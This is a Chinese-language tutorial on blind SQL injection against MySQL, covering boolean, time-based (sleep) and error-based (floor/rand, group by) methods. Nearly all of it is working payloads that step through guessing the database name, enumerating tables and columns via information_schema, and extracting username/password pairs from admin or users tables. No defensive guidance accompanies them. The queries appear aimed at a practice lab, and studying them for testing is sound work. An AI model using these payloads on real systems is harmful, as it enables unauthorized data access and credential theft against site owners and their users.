一、SQL盲注概述

盲注就是在注入过程中,获取的数据不能回显至前端页面。此时我们需要利用一些方法进行判断或尝试,这个过程称为盲注

二、基于布尔的SQL盲注 - 逻辑判断

执行SQL语句后,只显示两种结果,TrueFalse

(一)注入时需要用到的函数

like ‘ro%’   #判断ro或ro...是否成立

regexp ‘^xxx[a-z]’   #判断xxx及xxx...等

mid(a,b,c)    #从b位置开始,截取a字符串的c位

substr(a,b,c)    #从b位置开始截取a字符串的c长度

left(database(), 1), database()    #left(a,b) 从左侧截取a的前b位

length(database())=8    #判断数据库database()名的长度

ord=ascii ascii(x)=97    #判断x的ascii码是否等于97,ord()转换成ascii码

(二)布尔盲注流程

1、猜解获取数据库长度

' or length(database()) > 8 --+    #符合条件返回正确,反之返回错误

2、猜解数据库名

'or mid(database(),1,1)= 'z' --+   #因为需要验证的字符太多,所以转化为ascii码验证

'or ORD(mid(database(),1,1)) > 100 --+   #通过确定ascii码,从而确定数据库名

3、猜解表的总数

'or (select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()) = 2 --+    #判断表的总数

4、猜解第一个表名的长度

'or (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1) = 5 --+

'or (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 1,1) = 5 --+ (第二个表)

5、猜解第一个表名

'or mid((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = database() limit 0,1 ),1,1) = 'a' --+ 或者

'or ORD(mid(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = database() limit 0,1),1,1)) >100 --+

6、猜解字段的总数

'or (select count(column_name) from information_schema.COLUMNS where TABLE_NAME='表名') > 5 --+

7、猜解第一个字段的长度

'or (select length(column_name) from information_schema.COLUMNS where TABLE_NAME='表名' limit 0,1) = 10 --+

'or (select length(column_name) from information_schema.COLUMNS where TABLE_NAME='表名' limit 1,1) = 10 --+ (第二个字段)

8、猜解第一个字段名

'or mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = '表名' limit 0,1),1,1) = 'i' --+

或者 'or ORD(mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = '表名' limit 0,1),1,1)) > 100 --+

直接猜测字段名

' or (select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='表名' limit 1,1) = 'username' --+

9、猜测内容长度

假如已经知道字段名为 id username password

'or (select Length(concat(username,"---",password)) from admin limit 0,1) = 16 --+

10、猜解内容

'or mid((select concat(username,"-----",password) from admin limit 0,1),1,1) = 'a' --+ 或者

'or ORD(mid((select concat(username,"-----",password) from admin limit 0,1),1,1)) > 100 --+ ASCII码猜解

也可直接猜测内容

'or (Select concat(username,"-----",password) from admin limit 0,1 ) = 'admin-----123456' --+

三、基于时间的盲注 - 延时判断

提交对时间敏感的函数SQL语句,通过执行时间的长短判断是否执行成功

(一)用到的函数

ifsleepmid(str,start,lengt),ORD(),Length()version(),database(),user()

(二)注入流程

1、获取数据库总数

' and sleep(if((select count(SCHEMA_NAME) from information_schema.SCHEMATA)= 7,0,5))   #如果数据库总数等于7响应时间为0秒,如果不等于7 相应时间为5秒

2、猜解当前数据库长度

' and sleep(if((length(database()) = 8),0,5))--+   #当前数据库名长度为8

3、猜解当前数据库名

' and sleep(if((ORD(mid(database(),1,1)) =115 ),0,5))--+    #ascii码115 就是s

4、猜解当前数据库表的总数

And sleep(if((注入语句),0,5))      #类似布尔注入推理即可 ,例如: ' And sleep(if((select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()) = 2,0,5))--+

5、其他根据布尔盲注推断即可

三、基于报错的SQL盲注 - 报错回显

(一)需要用到的函数

1、利用函数报错

FloorUpdatexmlextractvalueexp(),Geometrycollection(),Polygon(),Multipoint(),Multilinestring(),Multipolygon()

2、利用数据库BUG报错需要用到的函数:

只要是count(),rand() ,group by 三个函数连用就会造成这种报错

left(rand(),3)   #不一定报错

floor(rand(0)*2)   #一定报错

round(x,d)   #x指要处理的数,d是指保留几位小数

concat()   #字符串拼接

(二)注入流程

1、爆数据库

' and (select concat(floor(rand(0)*2),"===",(select database())) as xx,count(1) from information_schema.columns group by xx) '

union select concat(floor(rand(0)*2),"===",(select database())) as xx,count(1),3 from information_schema.columns group by xx

2、爆表名

' union select concat(floor(rand(0)*2),"===",(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 3,1)) as xx,count(1),3 from information_schema.columns group by xx--+

3、爆字段

' union select concat(floor(rand(0)*2),"===",(select column_name from information_schema.columns where TABLE_SCHEMA=database() limit 8,1)) as xx,count(1),3 from information_schema.columns group by xx--+

4、猜解内容

' and ORD(mid((select concat(username,"-----",password) from security.users limit 0,1),1,1)) =68 %23